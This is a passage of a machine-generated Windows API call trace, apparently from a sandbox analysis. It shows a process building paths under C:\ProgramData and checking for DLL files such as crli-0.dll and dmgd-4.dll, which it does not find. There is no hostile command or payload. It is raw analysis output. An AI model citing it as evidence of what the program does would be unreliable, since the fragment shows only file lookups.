pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\coli-0.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\coli-0.dll") returned 1 [0092.139] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\") returned 1 [0092.139] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\") returned 0x2c [0092.139] SysReAllocStringLen (in: pbstr=0x47285c*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\", len=0x2c | out: pbstr=0x47285c*="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\") returned 1 [0092.139] SysReAllocStringLen (in: pbstr=0x472880*=0x0, psz="device", len=0x6 | out: pbstr=0x472880*="device") returned 1 [0092.139] SysReAllocStringLen (in: pbstr=0x4728a0*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4728a0*="harddiskvolume1") returned 1 [0092.140] SysReAllocStringLen (in: pbstr=0x4728ac*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x4728ac*="progra~3") returned 1 [0092.140] SysReAllocStringLen (in: pbstr=0x4728b8*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x4728b8*="coli-0.dll") returned 1 [0092.140] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.140] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0092.140] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coli-0.dlllume1", lpUsedDefaultChar=0x0) returned 10 [0092.140] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.140] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.140] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.140] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x28f23c*="crli-0.dll") returned 1 [0092.141] CharLowerBuffW (in: lpsz="crli-0.dll", cchLength=0xa | out: lpsz="crli-0.dll") returned 0xa [0092.141] SysReAllocStringLen (in: pbstr=0x28f240*="crli-0.dll", psz="crli-0.dll", len=0xa | out: pbstr=0x28f240*="crli-0.dll") returned 1 [0092.141] SysReAllocStringLen (in: pbstr=0x472910*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472910*="crli-0.dll") returned 1 [0092.141] SysReAllocStringLen (in: pbstr=0x472914*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472914*="crli-0.dll") returned 1 [0092.141] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0092.141] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0092.141] CharLowerBuffW (in: lpsz="c:\\programdata\\crli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\crli-0.dll") returned 0x19 [0092.141] SysReAllocStringLen (in: pbstr=0x472918*=0x0, psz="c:\\programdata\\crli-0.dll", len=0x19 | out: pbstr=0x472918*="c:\\programdata\\crli-0.dll") returned 1 [0092.141] CharLowerBuffW (in: lpsz="c:\\programdata\\crli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\crli-0.dll") returned 0x19 [0092.141] SysReAllocStringLen (in: pbstr=0x4729f4*=0x0, psz="c:\\programdata\\crli-0.dll", len=0x19 | out: pbstr=0x4729f4*="c:\\programdata\\crli-0.dll") returned 1 [0092.141] SysReAllocStringLen (in: pbstr=0x4729f8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4729f8*="c:") returned 1 [0092.141] SysReAllocStringLen (in: pbstr=0x472a18*=0x0, psz="programdata", len=0xb | out: pbstr=0x472a18*="programdata") returned 1 [0092.142] SysReAllocStringLen (in: pbstr=0x472a38*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472a38*="crli-0.dll") returned 1 [0092.142] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.142] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.142] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.142] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0092.142] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.142] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.142] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.142] GetLastError () returned 0x12 [0092.142] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.143] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0092.143] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0092.143] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="crli-0.dll", len=0xa | out: pbstr=0x28ef0c*="crli-0.dll") returned 1 [0092.143] FindFirstFileW (in: lpFileName="c:\\ProgramData\\crli-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.143] GetLastError () returned 0x2 [0092.143] SysReAllocStringLen (in: pbstr=0x28ef04*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x28ef04*="crli-0.dll") returned 1 [0092.143] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\crli-0.dll", len=0x19 | out: pbstr=0x28ef00*="c:\\ProgramData\\crli-0.dll") returned 1 [0092.143] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\crli-0.dll", psz="c:\\ProgramData\\crli-0.dll\\", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\crli-0.dll\\") returned 1 [0092.144] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\crli-0.dll\\", len=0x1a | out: pbstr=0x28eefc*="c:\\ProgramData\\crli-0.dll\\") returned 1 [0092.144] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\crli-0.dll\\", psz="c:\\ProgramData\\crli-0.dll", len=0x19 | out: pbstr=0x28f214*="c:\\ProgramData\\crli-0.dll") returned 1 [0092.144] CharLowerBuffW (in: lpsz="c:\\ProgramData\\crli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\crli-0.dll") returned 0x19 [0092.144] SysReAllocStringLen (in: pbstr=0x4729f4*=0x0, psz="c:\\programdata\\crli-0.dll", len=0x19 | out: pbstr=0x4729f4*="c:\\programdata\\crli-0.dll") returned 1 [0092.144] SysReAllocStringLen (in: pbstr=0x4729f8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4729f8*="c:") returned 1 [0092.144] SysReAllocStringLen (in: pbstr=0x472a18*=0x0, psz="programdata", len=0xb | out: pbstr=0x472a18*="programdata") returned 1 [0092.144] SysReAllocStringLen (in: pbstr=0x472a38*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472a38*="crli-0.dll") returned 1 [0092.145] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.145] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.145] CharLowerBuffW (in: lpsz="c:\\programdata\\crli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\crli-0.dll") returned 0x19 [0092.145] SysReAllocStringLen (in: pbstr=0x472a48*=0x0, psz="c:\\programdata\\crli-0.dll", len=0x19 | out: pbstr=0x472a48*="c:\\programdata\\crli-0.dll") returned 1 [0092.145] SysReAllocStringLen (in: pbstr=0x472a4c*=0x0, psz="c:", len=0x2 | out: pbstr=0x472a4c*="c:") returned 1 [0092.145] SysReAllocStringLen (in: pbstr=0x472a6c*=0x0, psz="programdata", len=0xb | out: pbstr=0x472a6c*="programdata") returned 1 [0092.146] SysReAllocStringLen (in: pbstr=0x472a8c*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472a8c*="crli-0.dll") returned 1 [0092.146] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadllawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.146] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.146] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.146] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0092.146] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.146] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.146] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.146] GetLastError () returned 0x12 [0092.146] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.146] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0092.146] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0092.147] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="crli-0.dll", len=0xa | out: pbstr=0x28ef0c*="crli-0.dll") returned 1 [0092.147] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\crli-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.147] GetLastError () returned 0x2 [0092.147] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x28ef00*="crli-0.dll") returned 1 [0092.147] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\crli-0.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\crli-0.dll") returned 1 [0092.147] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\crli-0.dll", psz="c:\\PROGRA~3\\crli-0.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\crli-0.dll\\") returned 1 [0092.147] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\crli-0.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\crli-0.dll\\") returned 1 [0092.147] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\crli-0.dll\\", psz="c:\\PROGRA~3\\crli-0.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\crli-0.dll") returned 1 [0092.148] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\crli-0.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\crli-0.dll") returned 0x16 [0092.148] SysReAllocStringLen (in: pbstr=0x472a48*=0x0, psz="c:\\progra~3\\crli-0.dll", len=0x16 | out: pbstr=0x472a48*="c:\\progra~3\\crli-0.dll") returned 1 [0092.148] SysReAllocStringLen (in: pbstr=0x472a4c*=0x0, psz="c:", len=0x2 | out: pbstr=0x472a4c*="c:") returned 1 [0092.148] SysReAllocStringLen (in: pbstr=0x472a6c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472a6c*="progra~3") returned 1 [0092.148] SysReAllocStringLen (in: pbstr=0x472a8c*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472a8c*="crli-0.dll") returned 1 [0092.148] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0092.148] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x472ab4, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB9107D.TMP⛜vよt☘E\x18") returned 12 [0092.149] CharLowerBuffW (in: lpsz="EVB9107D.TMP", cchLength=0xc | out: lpsz="evb9107d.tmp") returned 0xc [0092.149] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0092.149] FindFirstFileW (in: lpFileName="c:\\programdata\\evb9107d.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A翴uA((")) returned 0xffffffff [0092.149] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.149] SysReAllocStringLen (in: pbstr=0x28f258*="evb9107d.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.149] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0092.149] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0092.149] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0092.149] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="crli-0.dll", len=0xa | out: pbstr=0x28f1cc*="crli-0.dll") returned 1 [0092.149] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\crli-0.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\crli-0.dll") returned 1 [0092.150] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\") returned 1 [0092.150] SysReAllocStringLen (in: pbstr=0x472934*=0x0, psz="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\", len=0x2f | out: pbstr=0x472934*="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\") returned 1 [0092.150] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\") returned 0x2f [0092.150] SysReAllocStringLen (in: pbstr=0x472acc*=0x0, psz="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\", len=0x2f | out: pbstr=0x472acc*="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\") returned 1 [0092.150] SysReAllocStringLen (in: pbstr=0x472af0*=0x0, psz="device", len=0x6 | out: pbstr=0x472af0*="device") returned 1 [0092.150] SysReAllocStringLen (in: pbstr=0x472b10*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472b10*="harddiskvolume1") returned 1 [0092.150] SysReAllocStringLen (in: pbstr=0x472b1c*=0x0, psz="programdata", len=0xb | out: pbstr=0x472b1c*="programdata") returned 1 [0092.150] SysReAllocStringLen (in: pbstr=0x472b28*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472b28*="crli-0.dll") returned 1 [0092.151] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0092.151] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.151] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.151] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.151] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\crli-0.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.151] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0092.151] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0092.151] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0092.151] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="crli-0.dll", len=0xa | out: pbstr=0x28f1c0*="crli-0.dll") returned 1 [0092.151] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\crli-0.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\crli-0.dll") returned 1 [0092.151] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\") returned 1 [0092.152] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\") returned 0x2c [0092.152] SysReAllocStringLen (in: pbstr=0x472b38*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\", len=0x2c | out: pbstr=0x472b38*="\\device\\harddiskvolume1\\progra~3\\crli-0.dll\\") returned 1 [0092.152] SysReAllocStringLen (in: pbstr=0x472b5c*=0x0, psz="device", len=0x6 | out: pbstr=0x472b5c*="device") returned 1 [0092.152] SysReAllocStringLen (in: pbstr=0x472b7c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472b7c*="harddiskvolume1") returned 1 [0092.152] SysReAllocStringLen (in: pbstr=0x472b88*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472b88*="progra~3") returned 1 [0092.152] SysReAllocStringLen (in: pbstr=0x472b94*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472b94*="crli-0.dll") returned 1 [0092.152] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device.dllaume1", lpUsedDefaultChar=0x0) returned 6 [0092.152] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.153] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0092.153] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dlllume1", lpUsedDefaultChar=0x0) returned 10 [0092.153] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.153] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.153] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.154] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x28f23c*="dmgd-4.dll") returned 1 [0092.154] CharLowerBuffW (in: lpsz="dmgd-4.dll", cchLength=0xa | out: lpsz="dmgd-4.dll") returned 0xa [0092.154] SysReAllocStringLen (in: pbstr=0x28f240*="dmgd-4.dll", psz="dmgd-4.dll", len=0xa | out: pbstr=0x28f240*="dmgd-4.dll") returned 1 [0092.154] SysReAllocStringLen (in: pbstr=0x472bec*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472bec*="dmgd-4.dll") returned 1 [0092.154] SysReAllocStringLen (in: pbstr=0x472bf0*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472bf0*="dmgd-4.dll") returned 1 [0092.154] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0092.155] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0092.155] CharLowerBuffW (in: lpsz="c:\\programdata\\dmgd-4.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\dmgd-4.dll") returned 0x19 [0092.155] SysReAllocStringLen (in: pbstr=0x472bf4*=0x0, psz="c:\\programdata\\dmgd-4.dll", len=0x19 | out: pbstr=0x472bf4*="c:\\programdata\\dmgd-4.dll") returned 1 [0092.155] CharLowerBuffW (in: lpsz="c:\\programdata\\dmgd-4.dll", cchLength=0x19 | out: 